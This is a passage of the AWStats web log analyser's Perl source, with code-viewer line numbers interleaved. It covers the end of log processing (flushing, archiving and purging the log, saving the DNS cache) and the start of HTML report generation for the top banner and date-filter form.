                                        my $hosttouse = ( $HostResolved ? $HostResolved : $Host );
12817
 
                                        if ( $hosttouse =~ /$rowkeytypeval/ ) {
12818
 
                                                $rowkeyval = "$1";
12819
 
                                                $rowkeyok  = 1;
12820
 
                                                last;
12821
 
                                        }
12822
 
                                }
12823
 
                                elsif ( $rowkeytype eq 'VHOST' ) {
12824
 
                                        if ( $field[$pos_vh] =~ /$rowkeytypeval/ ) {
12825
 
                                                $rowkeyval = "$1";
12826
 
                                                $rowkeyok  = 1;
12827
 
                                                last;
12828
 
                                        }
12829
 
                                }
12830
 
                                elsif ( $rowkeytype =~ /extra(\d+)/i ) {
12831
 
                                        if ( $field[ $pos_extra[$1] ] =~ /$rowkeytypeval/ ) {
12832
 
                                                $rowkeyval = "$1";
12833
 
                                                $rowkeyok  = 1;
12834
 
                                                last;
12835
 
                                        }
12836
 
                                }
12837
 
                                else {
12838
 
                                        error(
12839
 
"Wrong value of parameter ExtraSectionFirstColumnValues$extranum"
12840
 
                                        );
12841
 
                                }
12842
 
                        }
12843
 
                        if ( !$rowkeyok ) { next; }    # End for this section
12844
 
                        if ( !$rowkeyval ) { $rowkeyval = 'Failed to extract key'; }
12845
 
                        if ($Debug) { debug( "  Key val found: $rowkeyval", 5 ); }
12846
 
 
12847
 
                        # Apply function on $rowkeyval
12848
 
                        if ( $ExtraFirstColumnFunction[$extranum] ) {
12849
 
 
12850
 
                                # Todo call function on string $rowkeyval
12851
 
                        }
12852
 
 
12853
 
                        # Here we got all values to increase counters
12854
 
                        if ( $PageBool && $ExtraStatTypes[$extranum] =~ /P/i ) {
12855
 
                                ${ '_section_' . $extranum . '_p' }{$rowkeyval}++;
12856
 
                        }
12857
 
                        ${ '_section_' . $extranum . '_h' }{$rowkeyval}++;    # Must be set
12858
 
                        if ( $ExtraStatTypes[$extranum] =~ /B/i ) {
12859
 
                                ${ '_section_' . $extranum . '_k' }{$rowkeyval} +=
12860
 
                                  int( $field[$pos_size] );
12861
 
                        }
12862
 
                        if ( $ExtraStatTypes[$extranum] =~ /L/i ) {
12863
 
                                if ( ${ '_section_' . $extranum . '_l' }{$rowkeyval}
12864
 
                                        || 0 < $timerecord )
12865
 
                                {
12866
 
                                        ${ '_section_' . $extranum . '_l' }{$rowkeyval} =
12867
 
                                          $timerecord;
12868
 
                                }
12869
 
                        }
12870
 
 
12871
 
                        # Check to avoid too large extra sections
12872
 
                        if (
12873
 
                                scalar keys %{ '_section_' . $extranum . '_h' } >
12874
 
                                $ExtraTrackedRowsLimit )
12875
 
                        {
12876
 
                                error(<<END_ERROR_TEXT);
12877
 
The number of values found for extra section $extranum has grown too large.
12878
 
In order to prevent awstats from using an excessive amount of memory, the number
12879
 
of values is currently limited to $ExtraTrackedRowsLimit. Perhaps you should consider
12880
 
revising extract parameters for extra section $extranum. If you are certain you
12881
 
want to track such a large data set, you can increase the limit by setting
12882
 
ExtraTrackedRowsLimit in your awstats configuration file.
12883
 
END_ERROR_TEXT
12884
 
                        }
12885
 
                }
12886
 
 
12887
 
# Every 20,000 approved lines after a flush, we test to clean too large hash arrays to flush data in tmp file
12888
 
                if ( ++$counterforflushtest >= 20000 ) {
12889
 
 
12890
 
                        #if (++$counterforflushtest >= 1) {
12891
 
                        if (   ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 )
12892
 
                                || ( scalar keys %_url_p ) > $LIMITFLUSH )
12893
 
                        {
12894
 
 
12895
 
# warning("Warning: Try to run AWStats update process more frequently to analyze smaler log files.");
12896
 
                                if ( $^X =~ /activestate/i || $^X =~ /activeperl/i ) {
12897
 
 
12898
 
# We don't flush if perl is activestate to avoid slowing process because of memory hole
12899
 
                                }
12900
 
                                else {
12901
 
 
12902
 
                                        # Clean tmp hash arrays
12903
 
                                        #%TmpDNSLookup = ();
12904
 
                                        %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = ();
12905
 
 
12906
 
                                        # We flush if perl is not activestate
12907
 
                                        print "Flush history file on disk";
12908
 
                                        if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 ) ) {
12909
 
                                                print " (unique hosts reach flush limit of "
12910
 
                                                  . ( $LIMITFLUSH << 2 ) . ")";
12911
 
                                        }
12912
 
                                        if ( ( scalar keys %_url_p ) > $LIMITFLUSH ) {
12913
 
                                                print " (unique url reach flush limit of "
12914
 
                                                  . ($LIMITFLUSH) . ")";
12915
 
                                        }
12916
 
                                        print "\n";
12917
 
                                        if ($Debug) {
12918
 
                                                debug(
12919
 
"End of set of $counterforflushtest records: Some hash arrays are too large. We flush and clean some.",
12920
 
                                                        2
12921
 
                                                );
12922
 
                                                print " _host_p:"
12923
 
                                                  . ( scalar keys %_host_p )
12924
 
                                                  . " _host_h:"
12925
 
                                                  . ( scalar keys %_host_h )
12926
 
                                                  . " _host_k:"
12927
 
                                                  . ( scalar keys %_host_k )
12928
 
                                                  . " _host_l:"
12929
 
                                                  . ( scalar keys %_host_l )
12930
 
                                                  . " _host_s:"
12931
 
                                                  . ( scalar keys %_host_s )
12932
 
                                                  . " _host_u:"
12933
 
                                                  . ( scalar keys %_host_u ) . "\n";
12934
 
                                                print " _url_p:"
12935
 
                                                  . ( scalar keys %_url_p )
12936
 
                                                  . " _url_k:"
12937
 
                                                  . ( scalar keys %_url_k )
12938
 
                                                  . " _url_e:"
12939
 
                                                  . ( scalar keys %_url_e )
12940
 
                                                  . " _url_x:"
12941
 
                                                  . ( scalar keys %_url_x ) . "\n";
12942
 
                                                print " _waithost_e:"
12943
 
                                                  . ( scalar keys %_waithost_e )
12944
 
                                                  . " _waithost_l:"
12945
 
                                                  . ( scalar keys %_waithost_l )
12946
 
                                                  . " _waithost_s:"
12947
 
                                                  . ( scalar keys %_waithost_s )
12948
 
                                                  . " _waithost_u:"
12949
 
                                                  . ( scalar keys %_waithost_u ) . "\n";
12950
 
                                        }
12951
 
                                        &Read_History_With_TmpUpdate(
12952
 
                                                $lastprocessedyear,
12953
 
                                                $lastprocessedmonth,
12954
 
                                                $lastprocessedday,
12955
 
                                                $lastprocessedhour,
12956
 
                                                1,
12957
 
                                                1,
12958
 
                                                "all",
12959
 
                                                ( $lastlinenb + $NbOfLinesParsed ),
12960
 
                                                $lastlineoffset,
12961
 
                                                &CheckSum($_)
12962
 
                                        );
12963
 
                                        &GetDelaySinceStart(1);
12964
 
                                        $NbOfLinesShowsteps = 1;
12965
 
                                }
12966
 
                        }
12967
 
                        $counterforflushtest = 0;
12968
 
                }
12969
 
 
12970
 
        }    # End of loop for processing new record.
12971
 
 
12972
 
        if ($Debug) {
12973
 
                debug(
12974
 
                        " _host_p:"
12975
 
                          . ( scalar keys %_host_p )
12976
 
                          . " _host_h:"
12977
 
                          . ( scalar keys %_host_h )
12978
 
                          . " _host_k:"
12979
 
                          . ( scalar keys %_host_k )
12980
 
                          . " _host_l:"
12981
 
                          . ( scalar keys %_host_l )
12982
 
                          . " _host_s:"
12983
 
                          . ( scalar keys %_host_s )
12984
 
                          . " _host_u:"
12985
 
                          . ( scalar keys %_host_u ) . "\n",
12986
 
                        1
12987
 
                );
12988
 
                debug(
12989
 
                        " _url_p:"
12990
 
                          . ( scalar keys %_url_p )
12991
 
                          . " _url_k:"
12992
 
                          . ( scalar keys %_url_k )
12993
 
                          . " _url_e:"
12994
 
                          . ( scalar keys %_url_e )
12995
 
                          . " _url_x:"
12996
 
                          . ( scalar keys %_url_x ) . "\n",
12997
 
                        1
12998
 
                );
12999
 
                debug(
13000
 
                        " _waithost_e:"
13001
 
                          . ( scalar keys %_waithost_e )
13002
 
                          . " _waithost_l:"
13003
 
                          . ( scalar keys %_waithost_l )
13004
 
                          . " _waithost_s:"
13005
 
                          . ( scalar keys %_waithost_s )
13006
 
                          . " _waithost_u:"
13007
 
                          . ( scalar keys %_waithost_u ) . "\n",
13008
 
                        1
13009
 
                );
13010
 
                debug(
13011
 
                        "End of processing log file (AWStats memory cache is TmpDNSLookup="
13012
 
                          . ( scalar keys %TmpDNSLookup )
13013
 
                          . " TmpBrowser="
13014
 
                          . ( scalar keys %TmpBrowser )
13015
 
                          . " TmpOS="
13016
 
                          . ( scalar keys %TmpOS )
13017
 
                          . " TmpRefererServer="
13018
 
                          . ( scalar keys %TmpRefererServer )
13019
 
                          . " TmpRobot="
13020
 
                          . ( scalar keys %TmpRobot ) . ")",
13021
 
                        1
13022
 
                );
13023
 
        }
13024
 
 
13025
 
# Save current processed break section
13026
 
# If lastprocesseddate > 0 means there is at least one approved new record in log or at least one existing history file
13027
 
        if ( $lastprocesseddate > 0 )
13028
 
        {    # TODO: Do not save if we are sure a flush was just already done
13029
 
                    # Get last line
13030
 
                seek( LOG, $lastlineoffset, 0 );
13031
 
                my $line = <LOG>;
13032
 
                chomp $line;
13033
 
                $line =~ s/\r$//;
13034
 
                if ( !$NbOfLinesParsed ) {
13035
 
 
13036
 
# TODO If there was no lines parsed (log was empty), we only update LastUpdate line with YYYYMMDDHHMMSS 0 0 0 0 0
13037
 
                        &Read_History_With_TmpUpdate(
13038
 
                                $lastprocessedyear, $lastprocessedmonth,
13039
 
                                $lastprocessedday,  $lastprocessedhour,
13040
 
                                1,                  1,
13041
 
                                "all", ( $lastlinenb + $NbOfLinesParsed ),
13042
 
                                $lastlineoffset, &CheckSum($line)
13043
 
                        );
13044
 
                }
13045
 
                else {
13046
 
                        &Read_History_With_TmpUpdate(
13047
 
                                $lastprocessedyear, $lastprocessedmonth,
13048
 
                                $lastprocessedday,  $lastprocessedhour,
13049
 
                                1,                  1,
13050
 
                                "all", ( $lastlinenb + $NbOfLinesParsed ),
13051
 
                                $lastlineoffset, &CheckSum($line)
13052
 
                        );
13053
 
                }
13054
 
        }
13055
 
 
13056
 
        if ($Debug) { debug("Close log file \"$LogFile\""); }
13057
 
        close LOG || error("Command for pipe '$LogFile' failed");
13058
 
 
13059
 
        # Process the Rename - Archive - Purge phase
13060
 
        my $renameok  = 1;
13061
 
        my $archiveok = 1;
13062
 
 
13063
 
        # Open Log file for writing if PurgeLogFile is on
13064
 
        if ($PurgeLogFile) {
13065
 
                if ($ArchiveLogRecords) {
13066
 
                        if ( $ArchiveLogRecords == 1 ) {    # For backward compatibility
13067
 
                                $ArchiveFileName = "$DirData/${PROG}_archive$FileSuffix.log";
13068
 
                        }
13069
 
                        else {
13070
 
                                $ArchiveFileName =
13071
 
                                  "$DirData/${PROG}_archive$FileSuffix."
13072
 
                                  . &Substitute_Tags($ArchiveLogRecords) . ".log";
13073
 
                        }
13074
 
                        open( LOG, "+<$LogFile" )
13075
 
                          || error(
13076
 
"Enable to archive log records of \"$LogFile\" into \"$ArchiveFileName\" because source can't be opened for read and write: $!<br />\n"
13077
 
                          );
13078
 
                }
13079
 
                else {
13080
 
                        open( LOG, "+<$LogFile" );
13081
 
                }
13082
 
                binmode LOG;
13083
 
        }
13084
 
 
13085
 
        # Rename all HISTORYTMP files into HISTORYTXT
13086
 
        &Rename_All_Tmp_History();
13087
 
 
13088
 
        # Purge Log file if option is on and all renaming are ok
13089
 
        if ($PurgeLogFile) {
13090
 
 
13091
 
                # Archive LOG file into ARCHIVELOG
13092
 
                if ($ArchiveLogRecords) {
13093
 
                        if ($Debug) { debug("Start of archiving log file"); }
13094
 
                        open( ARCHIVELOG, ">>$ArchiveFileName" )
13095
 
                          || error(
13096
 
                                "Couldn't open file \"$ArchiveFileName\" to archive log: $!");
13097
 
                        binmode ARCHIVELOG;
13098
 
                        while (<LOG>) {
13099
 
                                if ( !print ARCHIVELOG $_ ) { $archiveok = 0; last; }
13100
 
                        }
13101
 
                        close(ARCHIVELOG)
13102
 
                          || error("Archiving failed during closing archive: $!");
13103
 
                        if ($SaveDatabaseFilesWithPermissionsForEveryone) {
13104
 
                                chmod 0666, "$ArchiveFileName";
13105
 
                        }
13106
 
                        if ($Debug) { debug("End of archiving log file"); }
13107
 
                }
13108
 
 
13109
 
                # If rename and archive ok
13110
 
                if ( $renameok && $archiveok ) {
13111
 
                        if ($Debug) { debug("Purge log file"); }
13112
 
                        my $bold   = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>'    : '' );
13113
 
                        my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>'   : '' );
13114
 
                        my $br     = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' );
13115
 
                        truncate( LOG, 0 )
13116
 
                          || warning(
13117
 
"Warning: $bold$PROG$unbold couldn't purge logfile \"$bold$LogFile$unbold\".$br\nChange your logfile permissions to allow write for your web server CGI process or change PurgeLogFile=1 into PurgeLogFile=0 in configure file and think to purge sometimes manually your logfile (just after running an update process to not loose any not already processed records your log file contains)."
13118
 
                          );
13119
 
                }
13120
 
                close(LOG);
13121
 
        }
13122
 
 
13123
 
        if ( $DNSLookup == 1 && $DNSLookupAlreadyDone ) {
13124
 
 
13125
 
                # DNSLookup warning
13126
 
                my $bold   = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>'    : '' );
13127
 
                my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>'   : '' );
13128
 
                my $br     = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' );
13129
 
                warning(
13130
 
"Warning: $bold$PROG$unbold has detected that some hosts names were already resolved in your logfile $bold$DNSLookupAlreadyDone$unbold.$br\nIf DNS lookup was already made by the logger (web server), you should change your setup DNSLookup=$DNSLookup into DNSLookup=0 to increase $PROG speed."
13131
 
                );
13132
 
        }
13133
 
        if ( $DNSLookup == 1 && $NbOfNewLines ) {
13134
 
 
13135
 
                # Save new DNS last update cache file
13136
 
                Save_DNS_Cache_File( \%TmpDNSLookup, "$DirData/$DNSLastUpdateCacheFile",
13137
 
                        "$FileSuffix" );    # Save into file using FileSuffix
13138
 
        }
13139
 
 
13140
 
        if ($EnableLockForUpdate) {
13141
 
 
13142
 
                # Remove lock
13143
 
                &Lock_Update(0);
13144
 
 
13145
 
                # Restore signals handler
13146
 
                $SIG{INT} = 'DEFAULT';    # 2
13147
 
                                          #$SIG{KILL} = 'DEFAULT';      # 9
13148
 
                                          #$SIG{TERM} = 'DEFAULT';      # 15
13149
 
        }
13150
 
 
13151
 
}
13152
 
 
13153
 
# End of log processing if ($UPdateStats)
13154
 
 
13155
 
#---------------------------------------------------------------------
13156
 
# SHOW REPORT
13157
 
#---------------------------------------------------------------------
13158
 
 
13159
 
if ( scalar keys %HTMLOutput ) {
13160
 
 
13161
 
        debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 );
13162
 
        debug( "DayRequired=$DayRequired, HourRequired=$HourRequired",     2 );
13163
 
 
13164
 
        my $max_p;
13165
 
        my $max_h;
13166
 
        my $max_k;
13167
 
        my $max_v;
13168
 
        my $total_u;
13169
 
        my $total_v;
13170
 
        my $total_p;
13171
 
        my $total_h;
13172
 
        my $total_k;
13173
 
        my $total_e;
13174
 
        my $total_x;
13175
 
        my $total_s;
13176
 
        my $total_l;
13177
 
        my $total_r;
13178
 
        my $average_u;
13179
 
        my $average_v;
13180
 
        my $average_p;
13181
 
        my $average_h;
13182
 
        my $average_k;
13183
 
        my $average_s;
13184
 
        my $rest_p;
13185
 
        my $rest_h;
13186
 
        my $rest_k;
13187
 
        my $rest_e;
13188
 
        my $rest_x;
13189
 
        my $rest_s;
13190
 
        my $rest_l;
13191
 
        my $rest_r;
13192
 
        my $average_nb;
13193
 
 
13194
 
        # Define the NewLinkParams for main chart
13195
 
        my $NewLinkParams = ${QueryString};
13196
 
        $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
13197
 
        $NewLinkParams =~ s/(^|&|&amp;)output(=\w*|$)//i;
13198
 
        $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
13199
 
        $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
13200
 
        my $NewLinkTarget = '';
13201
 
        if ($DetailedReportsOnNewWindows) {
13202
 
                $NewLinkTarget = " target=\"awstatsbis\"";
13203
 
        }
13204
 
        if ( ( $FrameName eq 'mainleft' || $FrameName eq 'mainright' )
13205
 
                && $DetailedReportsOnNewWindows < 2 )
13206
 
        {
13207
 
                $NewLinkParams .= "&amp;framename=mainright";
13208
 
                $NewLinkTarget = " target=\"mainright\"";
13209
 
        }
13210
 
        $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
13211
 
        $NewLinkParams =~ s/^&amp;//;
13212
 
        $NewLinkParams =~ s/&amp;$//;
13213
 
        if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
13214
 
 
13215
 
        if ( $FrameName ne 'mainleft' ) {
13216
 
 
13217
 
                # READING DATA
13218
 
                #-------------
13219
 
                &Init_HashArray();
13220
 
 
13221
 
                # Lecture des fichiers history
13222
 
                if ( $DatabaseBreak eq 'month' ) {
13223
 
                        for ( my $ix = 12 ; $ix >= 1 ; $ix-- ) {
13224
 
                                my $stringforload = '';
13225
 
                                my $monthix = sprintf( "%02s", $ix );
13226
 
                                if ( $MonthRequired eq 'all' || $monthix eq $MonthRequired ) {
13227
 
                                        $stringforload = 'all';    # Read full history file
13228
 
                                }
13229
 
                                elsif ( ( $HTMLOutput{'main'} && $ShowMonthStats )
13230
 
                                        || $HTMLOutput{'alldays'} )
13231
 
                                {
13232
 
                                        $stringforload =
13233
 
                                          'general time';          # Read general and time sections.
13234
 
                                }
13235
 
                                if ($stringforload) {
13236
 
 
13237
 
                                        # On charge fichier
13238
 
                                        &Read_History_With_TmpUpdate( $YearRequired, $monthix, '',
13239
 
                                                '', 0, 0, $stringforload );
13240
 
                                }
13241
 
                        }
13242
 
                }
13243
 
                if ( $DatabaseBreak eq 'day' ) {
13244
 
                        my $stringforload = 'all';
13245
 
                        my $monthix       = sprintf( "%02s", $MonthRequired );
13246
 
                        my $dayix         = sprintf( "%02s", $DayRequired );
13247
 
                        &Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix, '',
13248
 
                                0, 0, $stringforload );
13249
 
                }
13250
 
                if ( $DatabaseBreak eq 'hour' ) {
13251
 
                        my $stringforload = 'all';
13252
 
                        my $monthix       = sprintf( "%02s", $MonthRequired );
13253
 
                        my $dayix         = sprintf( "%02s", $DayRequired );
13254
 
                        my $hourix        = sprintf( "%02s", $HourRequired );
13255
 
                        &Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix,
13256
 
                                $hourix, 0, 0, $stringforload );
13257
 
                }
13258
 
 
13259
 
        }
13260
 
 
13261
 
        # HTMLHeadSection
13262
 
        if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) {
13263
 
                print "<a name=\"top\"></a>\n\n";
13264
 
                my $newhead = $HTMLHeadSection;
13265
 
                $newhead =~ s/\\n/\n/g;
13266
 
                print "$newhead\n";
13267
 
                print "\n";
13268
 
        }
13269
 
 
13270
 
        # Call to plugins' function AddHTMLBodyHeader
13271
 
        foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyHeader'} } ) {
13272
 
 
13273
 
                #               my $function="AddHTMLBodyHeader_$pluginname()";
13274
 
                #               eval("$function");
13275
 
                my $function = "AddHTMLBodyHeader_$pluginname";
13276
 
                &$function();
13277
 
        }
13278
 
 
13279
 
        my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 );
13280
 
 
13281
 
        # TOP BAN
13282
 
        #---------------------------------------------------------------------
13283
 
        if ( $ShowMenu || $FrameName eq 'mainleft' ) {
13284
 
                my $frame = ( $FrameName eq 'mainleft' );
13285
 
 
13286
 
                if ($Debug) { debug( "ShowTopBan", 2 ); }
13287
 
                print "$Center<a name=\"menu\">&nbsp;</a>\n";
13288
 
 
13289
 
                if ( $FrameName ne 'mainleft' ) {
13290
 
                        my $NewLinkParams = ${QueryString};
13291
 
                        $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
13292
 
                        $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
13293
 
                        $NewLinkParams =~ s/(^|&|&amp;)year=[^&]*//i;
13294
 
                        $NewLinkParams =~ s/(^|&|&amp;)month=[^&]*//i;
13295
 
                        $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
13296
 
                        $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
13297
 
                        $NewLinkParams =~ s/^&amp;//;
13298
 
                        $NewLinkParams =~ s/&amp;$//;
13299
 
                        my $NewLinkTarget = '';
13300
 
 
13301
 
                        if ( $FrameName eq 'mainright' ) {
13302
 
                                $NewLinkTarget = " target=\"_parent\"";
13303
 
                        }
13304
 
                        print "<form name=\"FormDateFilter\" action=\""
13305
 
                          . XMLEncode("$AWScript?${NewLinkParams}")
13306
 
                          . "\" style=\"padding: 0px 0px 0px 0px; margin-top: 0\"$NewLinkTarget>\n";
13307
 
                }
13308
 
 
13309
 
                if ( $QueryString !~ /buildpdf/i ) {
13310
 
                        print
13311
 
"<table class=\"aws_border\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
13312
 
                        print "<tr><td>\n";
13313
 
                        print
13314
 
"<table class=\"aws_data sortable\" border=\"0\" cellpadding=\"1\" cellspacing=\"0\" width=\"100%\">\n";
13315
 
                }
13316
 
                else {
13317
 
                        print "<table width=\"100%\">\n";
13318
 
                }
13319
 
 
13320
 
                if ( $FrameName ne 'mainright' ) {
13321
 
 
13322
 
                        # Print Statistics Of
13323
 
                        if ( $FrameName eq 'mainleft' ) {
13324
 
                                my $shortSiteDomain = $SiteDomain;
13325
 
                                if ( length($SiteDomain) > 30 ) {
13326
 
                                        $shortSiteDomain =
13327
 
                                            substr( $SiteDomain, 0, 20 ) . "..."
13328
 
                                          . substr( $SiteDomain, length($SiteDomain) - 5, 5 );
13329
 
                                }
13330
 
                                print
13331
 
"<tr><td class=\"awsm\"><b>$Message[7]:</b></td></tr><tr><td class=\"aws\"><span style=\"font-size: 12px;\">$shortSiteDomain</span></td>";
13332
 
                        }
13333
 
                        else {
13334
 
                                print
13335
 
"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[7]:</b>&nbsp;</td><td class=\"aws\" valign=\"middle\"><span style=\"font-size: 14px;\">$SiteDomain</span></td>";
13336
 
                        }
13337
 
 
13338
 
                        # Logo and flags
13339
 
                        if ( $FrameName ne 'mainleft' ) {
13340
 
                                if ( $LogoLink =~ "http://awstats.sourceforge.net" ) {
13341
 
                                        print "<td align=\"right\" rowspan=\"3\"><a href=\""
13342
 
                                          . XMLEncode($LogoLink)
13343
 
                                          . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\""
13344
 
                                          . AltTitle( ucfirst($PROG) . " Web Site" )
13345
 
                                          . " /></a>";
13346
 
                                }
13347
 
                                else {
13348
 
                                        print "<td align=\"right\" rowspan=\"3\"><a href=\""
13349
 
                                          . XMLEncode($LogoLink)
13350
 
                                          . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>";
13351
 
                                }
13352
 
                                if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); }
13353
 
                                print "</td>";
13354
 
                        }
13355
 
                        print "</tr>\n";
13356
 
                }
13357
 
                if ( $FrameName ne 'mainleft' ) {
13358
 
 
13359
 
                        # Print Last Update
13360
 
                        print
13361
 
"<tr valign=\"middle\"><td class=\"aws\" valign=\"middle\" width=\"$WIDTHMENU1\"><b>$Message[35]:</b>&nbsp;</td>";
13362
 
                        print
13363
 
"<td class=\"aws\" valign=\"middle\"><span style=\"font-size: 12px;\">";
13364
 
                        if ($LastUpdate) { print Format_Date( $LastUpdate, 0 ); }
13365
 
                        else {
13366
 
 
13367
 
                                # Here NbOfOldLines = 0 (because LastUpdate is not defined)
13368
 
                                if ( !$UpdateStats ) {
13369
 
                                        print "<span style=\"color: #880000\">$Message[24]</span>";
13370
 
                                }
13371
 
                                else {
13372
 
                                        print
13373
 
"<span style=\"color: #880000\">No qualified records found in log ($NbOfLinesCorrupted corrupted, $NbOfLinesDropped dropped)</span>";
13374
 
                                }
13375
 
 
13376
 
                        }
13377
 
                        print "</span>";
13378
 
 
13379
 
                        # Print Update Now link
13380
 
                        if ( $AllowToUpdateStatsFromBrowser && !$StaticLinks ) {
13381
 
                                my $NewLinkParams = ${QueryString};
13382
 
                                $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
13383
 
                                $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
13384
 
                                $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
13385
 
                                if ( $FrameName eq 'mainright' ) {
13386
 
                                        $NewLinkParams .= "&amp;framename=mainright";
13387
 
                                }
13388
 
                                $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
13389
 
                                $NewLinkParams =~ s/^&amp;//;
13390
 
                                $NewLinkParams =~ s/&amp;$//;
13391
 
                                if ($NewLinkParams) {
13392
 
                                        $NewLinkParams = "${NewLinkParams}&amp;";
13393
 
                                }
13394
 
                                print "&nbsp; &nbsp; &nbsp; &nbsp;";
13395
 
                                print "<a href=\""
13396
 
                                  . XMLEncode("$AWScript?${NewLinkParams}update=1")
13397
 
                                  . "\">$Message[74]</a>";
13398
 
                        }
13399
 
                        print "</td>";
13400
 
 
13401
 
                        # Logo and flags
13402
 
                        if ( $FrameName eq 'mainright' ) {
13403
 
                                if ( $LogoLink =~ "http://awstats.sourceforge.net" ) {
13404
 
                                        print "<td align=\"right\" rowspan=\"2\"><a href=\""
13405
 
                                          . XMLEncode($LogoLink)
13406
 
                                          . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\""
13407
 
                                          . AltTitle( ucfirst($PROG) . " Web Site" )
13408
 
                                          . " /></a>\n";
13409
 
                                }
13410
 
                                else {
13411
 
                                        print "<td align=\"right\" rowspan=\"2\"><a href=\""
13412
 
                                          . XMLEncode($LogoLink)
13413
 
                                          . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>\n";
13414
 
                                }
13415
 
                                if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); }
13416
 
                                print "</td>";
13417
 
                        }
13418
 
 
13419
 
                        print "</tr>\n";
13420
 
 
13421
 
                        # Print selected period of analysis (month and year required)
13422
 
                        print
13423
 
"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[133]:</b></td>";
13424
 
                        print "<td class=\"aws\" valign=\"middle\">";
13425
 
                        if ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ) {
13426
 
                                print "<select class=\"aws_formfield\" name=\"month\">\n";
13427
 
                                foreach ( 1 .. 12 ) {
13428
 
                                        my $monthix = sprintf( "%02s", $_ );
13429
 
                                        print "<option"
13430
 
                                          . (
13431
 
                                                  "$MonthRequired" eq "$monthix"
13432
 
                                                ? " selected=\"true\""
13433
 
                                                : ""
13434
 
                                          )
13435
 
                                          . " value=\"$monthix\">$MonthNumLib{$monthix}</option>\n";
13436
 
                                }
13437
 
                                if ( $AllowFullYearView >= 2 ) {
13438
 
                                        print "<option"
13439
 
                                          . ( $MonthRequired eq 'all' ? " selected=\"true\"" : "" )
13440
 
                                          . " value=\"all\">- $Message[6] -</option>\n";
13441
 
                                }
13442
 
                                print "</select>\n";
13443
 
                                print "<select class=\"aws_formfield\" name=\"year\">\n";
13444
 
 
13445
 
                                # Add YearRequired in list if not in ListOfYears
13446
 
                                $ListOfYears{$YearRequired} ||= $MonthRequired;
13447
 
                                foreach ( sort keys %ListOfYears ) {
13448
 
                                        print "<option"
13449
 
                                          . ( $YearRequired eq "$_" ? " selected=\"true\"" : "" )
13450
 
                                          . " value=\"$_\">$_</option>\n";
13451
 
                                }
13452
 
                                print "</select>\n";
13453
 
                                print "<input type=\"hidden\" name=\"output\" value=\""
13454
 
                                  . join( ',', keys %HTMLOutput )
13455
 
                                  . "\" />\n";
13456
 
                                if ($SiteConfig) {
13457
 
                                        print
13458
 
"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n";
13459
 
                                }
13460
 
                                if ($DirConfig) {
13461
 
                                        print
13462
 
"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n";
13463
 
                                }
13464
 
                                if ( $QueryString =~ /lang=(\w+)/i ) {
13465
 
                                        print
13466
 
                                          "<input type=\"hidden\" name=\"lang\" value=\"$1\" />\n";
13467
 
                                }
13468
 
                                if ( $QueryString =~ /debug=(\d+)/i ) {
13469
 
                                        print
13470
 
                                          "<input type=\"hidden\" name=\"debug\" value=\"$1\" />\n";
13471
 
                                }
13472
 
                                if ( $FrameName eq 'mainright' ) {
13473
 
                                        print
13474
 
"<input type=\"hidden\" name=\"framename\" value=\"index\" />\n";
13475
 
                                }
13476
 
                                print
13477
 
"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" />";
13478
 
                        }
13479
 
                        else {
13480
 
                                print "<span style=\"font-size: 14px;\">";
13481
 
                                if ($DayRequired) { print "$Message[4] $DayRequired - "; }
13482
 
                                if ( $MonthRequired eq 'all' ) {
13483
 
                                        print "$Message[6] $YearRequired";
13484
 
                                }
13485
 
                                else {
13486
 
                                        print
13487
 
                                          "$Message[5] $MonthNumLib{$MonthRequired} $YearRequired";
13488
 
                                }
13489
 
                                print "</span>";
13490
 
                        }
13491
 
                        print "</td></tr>\n";
13492
 
                }
13493
 
                if ( $QueryString !~ /buildpdf/i ) {
13494
 
                        print "</table>\n";
13495
 
                        print "</td></tr></table>\n";
13496
 
                }
13497
 
                else {
13498
 
                        print "</table>\n";
13499
 
                }
13500
 
 
13501
 
                if ( $FrameName ne 'mainleft' ) { print "</form>\n"; }
13502
 
                else { print "<br />\n"; }
13503
 
                print "\n";
13504
 
        }
13505
 
 
13506
 
        # Call to plugins' function AddHTMLMenuHeader
